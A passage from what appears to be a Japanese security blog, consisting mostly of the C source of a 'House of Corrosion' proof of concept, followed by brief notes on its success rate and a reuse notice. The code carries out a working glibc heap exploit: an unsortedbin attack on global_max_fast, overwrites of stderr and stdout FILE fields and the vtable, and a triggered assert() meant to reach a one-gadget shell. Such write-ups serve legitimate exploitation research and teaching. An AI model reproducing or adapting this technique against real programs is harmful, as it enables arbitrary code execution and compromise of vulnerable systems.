#define ADV2_WITH_CHANGE(chunk, value, size, value_size)\
  free(chunk);\
  if(value_size == 0x2) ((short*)chunk)[0] = value;\
  else {printf("ERROR\n"); exit(0);}\
  chunk = malloc(size);

#define ADV3(chunkA, chunkB, tmp, LSB_A, size_DST, size_SRC, tamper_flight_flag, tamper_value)\
  free(chunkB);\
  free(chunkA);\
  ((char*)chunkA)[0] = LSB_A;\
  chunkA = malloc(size_DST); \
  tmp[1] = (0x10 + size_SRC)|1; \
  free(chunkA); \
  tmp[1] = (0x10 + size_DST)|1; /* to avoid corruption detection */\
  if(tamper_flight_flag==1) ((short*)chunkA)[0] = tamper_value;\
  chunkA = malloc(size_DST);

//This 3 variables must be set (have the same 4-bit entropy)
void *LSBs_gmf = 0xc940; //global_max_fast: 4nibble目は適当
void *LSBs_IO_str_jumps = 0x7360-0x20; // -0x20 is NEEDED to call _IO_str_overflow instead of xsputn
void *LSBs_call_rax = 0xc610;; // this must be nearby default_morecore

void *off_gmf_libcbase = 0x3ed940;
void *off_stdout_libcbase = 0x3ec760;
void *off_arena_libcbase = 0x3ebc40;
ull off_fastbinY_stderr = 0xa28;

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // Calc and get some addrs
  char num;
  void *addr_stdout = stdout;
  void *libcbase = addr_stdout - off_stdout_libcbase;
  ull *addr_IO_file_jumps = 0x3e82a0 + (ull)libcbase;
  void *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  void *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_IO_str_overflow = (ull)libcbase + 0x8ff60;
  ull addr_IO_str_jumps = (ull)libcbase + 0x3e8360;
  ull addr_call_rax = (ull)libcbase + 0x8d610;
  void *addr_fastbinY = (ull)addr_main_arena + 0x60;
  ull *A1,*B1,*A2,*B2,*tmp11,*tmp21,*temp12,*tmp22,*padd, *chunk_fake_size;
  ull *dumped_main_arena_end_chunk, *pedantic_chunk;
  ull *stderr_mode_chunk, *stderr_flags_chunk, *stderr_IO_buf_base_chunk, *stderr_IO_write_ptr_chunk, *stderr_s_alloc_chunk, *stderr_vtable_chunk;
  ull *stdout_mode_chunk;
  ull temp;
  ull *temp_ptrs[10];
  unsigned sz1=size_formula(off_fastbinY_stderr+0x60);
  unsigned size_dumped_main_arena_end = size_formula(0x1ce0); //WHY 8??
  unsigned size_stderr_flags = size_formula(0xa30) - 0x8;
  unsigned size_stderr_mode = size_formula(0xa30+0xc0) - 0x8;
  unsigned size_stderr_IO_buf_base = size_formula(0xa30+0x38 - 0x8);
  unsigned size_stderr_IO_write_ptr = size_formula(0xa30+0x28 - 0x8);
  unsigned size_stderr_IO_buf_end = size_formula(0xa30+0x30 + 0x8);
  unsigned size_stderr_vtable = size_formula(0xa30+0xd8 - 0x8);
  unsigned size_stderr_s_alloc = size_formula(0xa30+0xe0 - 0x8);
  unsigned size_stdout_mode = size_formula(0xb10 + 0xc0 - 0x8);
  unsigned size_morecore = size_formula(0x888-0x8); //WHY 8??
  ull *onegadget = 0x00021b95;
  unsigned off_default_morecore_onegadget = 0x4becb;
  printf("House of Corrosion : PoC\n");
  printf("___________________________________\n\n");
  printf("__LIBC INFO__\n");
  printf("libcbase : %p\n",libcbase); 
  printf("mainarena: %p\n",addr_main_arena);
  printf("fastbinsY: %p\n",addr_fastbinY);
  printf("global_max_fast: %p\n",addr_gmf);
  printf("call rax: %p\n",addr_call_rax);
  printf("___________________________________\n\n");

  // Alloc some chunks 
  printf("* Preparing for some chunks ...*\n");
  ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
  ull *padding = malloc(0x20);
  ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
  ull *avoid_consolidation = malloc(0x110-0x30);

  // Prepare for Advantage 3
  /* LSB SENSITIVE !!! */
  GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
  GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);

  chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
  for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
    *(chunk_fake_size+0+ix*2) = 0x0;
    *(chunk_fake_size+1+ix*2) = 0x30|1;
  }

  //Malloc chunks for Advantage2
  dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
  pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
  stderr_mode_chunk = malloc(size_stderr_mode);
  stderr_flags_chunk = malloc(size_stderr_flags);
  stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
  stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
  stderr_vtable_chunk = malloc(size_stderr_vtable);
  stdout_mode_chunk = malloc(size_stdout_mode);
  printf("[*]DONE\n");

  //Connect to largebin with NON_MAINARENA 1
  printf("\n* Connecting to largebin...*\n");
  free(largebin);
  malloc(0x500);
  ((ull*)(((ull)largebin)-0x10))[0] = 0;
  ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA
  printf("[*]DONE\n");

  //Unsortedbin Attack
  printf("\n* Doing unsortedbin attack agains global_max_fast...*\n");
  free(a);

  a[0] = 0xfffff; //victim->fd
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //libcの情報からgmfを計算しているため100%正確な位置に書き込める。 いちいちデバッグでbrute-forceめんどいから
    temp = (unsigned long long)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }

  //calculate the 100% accurate LSbytes
  LSBs_IO_str_jumps = (addr_IO_str_jumps-0x20)&0xffff;
  LSBs_call_rax = addr_call_rax&0xffff;
#endif

  malloc(0x450); //unsorted attack!! 
  
  //Check whether the unsorted attack is success or not
  if(*((ull*)addr_gmf) != (ull)addr_main_arena + 96){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("[!]SUCCESS: unsortedbin attack\n");
  }
  

  // Make unsortedbin's bk VALID
  printf("\n* Make unsortedbin's bk VALID...*\n");
  ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
  free(pedantic_chunk); //fd/bk
  printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
  printf("global_max_fast      : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));

  // Overwrite vtable and so on
  printf("\n* Overwriting some addrs...*\n");
  printf("HOWEVER, I can't speak from now on due to the corruption.\n");
  printf("Wish you can get shell, bye.\n\n");
  ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
  ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
  ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
  ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);
  ADV2(stderr_IO_buf_base_chunk, off_default_morecore_onegadget, size_stderr_IO_buf_base);


  // Transplant __morecore's value to stderr->file._IO_buf_end
  ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
  tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
  A1 = malloc(size_morecore); 

  // Write LSByte of _IO_str_jumps on stderr->vtable  
  ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));
  
  // Transplant __morecore's value to _s._allocate_buffer
  ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax);

  //Trigger assert()
  malloc(0x50);

  printf("You won't reach here. Can you get a shell??");

  return 0;
}

12: 結果

5回に1回程度成功し、それ以外は SegmentationFault になる

f:id:smallkirby:20200224210247p:plain

 

 

13: アウトロ

ファイルストリーム系の理解が甘いために曖昧な説明になってしまった部分が多いのが情けない
以降は一旦heap系は置いておいて、ファイルストリーム系を勉強し直そうと思う








続く

You can cite code or comments in my blog as you like basically.
The exceptions are when the code belongs to some other license. In that case, follow it. Also, you can't use them for evil purpose. Finally, I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.